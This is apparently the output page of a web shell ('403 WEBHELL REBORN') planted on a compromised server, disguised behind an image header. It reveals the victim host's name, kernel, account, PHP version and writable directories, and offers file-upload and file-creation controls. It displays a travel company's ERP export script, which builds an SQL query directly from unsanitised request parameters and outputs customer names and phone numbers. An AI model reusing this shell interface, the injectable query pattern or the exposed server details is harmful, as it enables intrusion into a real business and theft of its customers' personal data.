ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/erp_231024/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/erp_231024/res_excel.html
<?
include "../include/top_proc.html";


// 엑셀 파일명 설정 
$FileName = "ERP목록";
$FileName = $FileName."_".Date("Ymd").".xls";
$FileName = urlencode($FileName); // UTF-8

// 엑셀 파일로 변환 헤더
header("Content-Type: application/vnd.ms-excel");
header("Content-Disposition: attachment; filename=$FileName");
header("Content-Description: PHP4 Generated Data" );

// 파라메터
$sql_where = stripslashes($sql_where);
$sql_order = stripslashes($sql_order);

$sql = "select * from TB_ERP_ALL where 1 {$sql_where} order by {$sql_order}";
$rs = db_query($sql);

?>

<html xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:x="urn:schemas-microsoft-com:office:excel"
xmlns="http://www.w3.org/TR/REC-html40">
<head>
<meta http-equiv=Content-Type content="text/html; charset=utf-8">
<meta name=ProgId content=Excel.Sheet>
<meta name=Generator content="Microsoft Excel 10">
<style>
<!--
table
  {mso-displayed-decimal-separator:"\.";
  mso-displayed-thousand-separator:"\,";}
@page
  {margin:1.0in .75in 1.0in .75in;
  mso-header-margin:.5in;
  mso-footer-margin:.5in;}
-->
</style>
<!--[if gte mso 9]><xml>
 <x:ExcelWorkbook>
  <x:ExcelWorksheets>
   <x:ExcelWorksheet>
    <x:Name>Sheet1</x:Name>
    <x:WorksheetOptions>
     <x:Print>
      <x:ValidPrinterInfo/>
     </x:Print>
     <x:Selected/>
    </x:WorksheetOptions>
   </x:ExcelWorksheet>
  </x:ExcelWorksheets>
 </x:ExcelWorkbook>
</xml><![endif]-->
<meta http-equiv=Content-Language content=ko>
</head>

<body>

<table cellspacing="0" cellpadding="2" bordercolor="#999999" bordercolordark="#FFFFFF" border="1">
	<tr height="35">
		<th align="center" bgcolor="#E7E7E7">No.</th>
		<th align="center" bgcolor="#E7E7E7">견적발행일</th>
		<th align="center" bgcolor="#E7E7E7">진행상태</th>
		<th align="center" bgcolor="#E7E7E7">고객명</th>
		<th align="center" bgcolor="#E7E7E7">연락처</th>
		<th align="center" bgcolor="#E7E7E7">국적</th>
		<th align="center" bgcolor="#E7E7E7">인원</th>
		<th align="center" bgcolor="#E7E7E7">행사명</th>
		<th align="center" bgcolor="#E7E7E7">행사날짜</th>
		<th align="center" bgcolor="#E7E7E7">견적금액</th>
		<th align="center" bgcolor="#E7E7E7">지출금액</th>
		<th align="center" bgcolor="#E7E7E7">미납액</th>
		<th align="center" bgcolor="#E7E7E7">회사수익</th>
		<th align="center" bgcolor="#E7E7E7">가이드</th>
		<th align="center" bgcolor="#E7E7E7">담당자</th>
	</tr>
<?
$j = 1;
			for($i=0 ; $i < $row = db_fetch_array($rs) ; $i++){

				$inwon = $row['num_adult'] + $row['num_child'] + $row['num_foc'];

				$esti = db_fetch("SELECT * FROM TB_ERP_ESTIMATE where a_idx='{$row[a_idx]}' ");
				$profit = $row['total_price'] - $esti['total_buy_price'];
?>
	<tr>
		<td align="center"><?=$j?></td>
		<td align="center"><?=$row['regdate']?></td>
		<td align="center">
					<?
					switch($row['state']){
						case "A":
							$state = "견적서발행";
							break;
						case "B":
							$state = "예약확정";
							break;
						case "C":
							$state = "INVOICE발행";
							break;
						case "D":
							$state = "입금완료";
							break;
						case "E":
							$state = "VOUCHER발행";
							break;
						case "F":
							$state = "행사완료";
							break;
						case "G":
							$state = "취소완료";
							break;

					}
					echo $state;
					?>
		</td>
		<td align="center"><?=$row['res_name']?></td>
		<td align="center"><?=$row['res_phone']?></td>
		<td align="center"><?=$row['res_nationality']?></td>
		<td align="center"><?=$inwon?></td>
		<td align="center"><?=$row['good_name']?></td>
		<td align="center"><?=$row['start_date']?>~<?=$row['end_date']?></td>
		<td align="right"><?=$row['currency']?> <?=number_format($row['total_price'])?></td>
		<td align="right"><?=$row['currency']?> <?=number_format($esti['total_buy_price'])?></td>
		<td align="right">
			<? if ($row['state'] == 'B') { ?>
				<?=$row['currency']?> <?=number_format($row['total_price'])?>
			<? } else { ?>
				0
			<? } ?>
		</td>
		<td align="right"><?=number_format($profit)?></td>
		<td align="center"></td>
		<td align="center"><?=$row['charger']?></td>
	</tr>
<?
	$j++;
	}
?>
</table>

</body>
</html>

Anon7 - 2021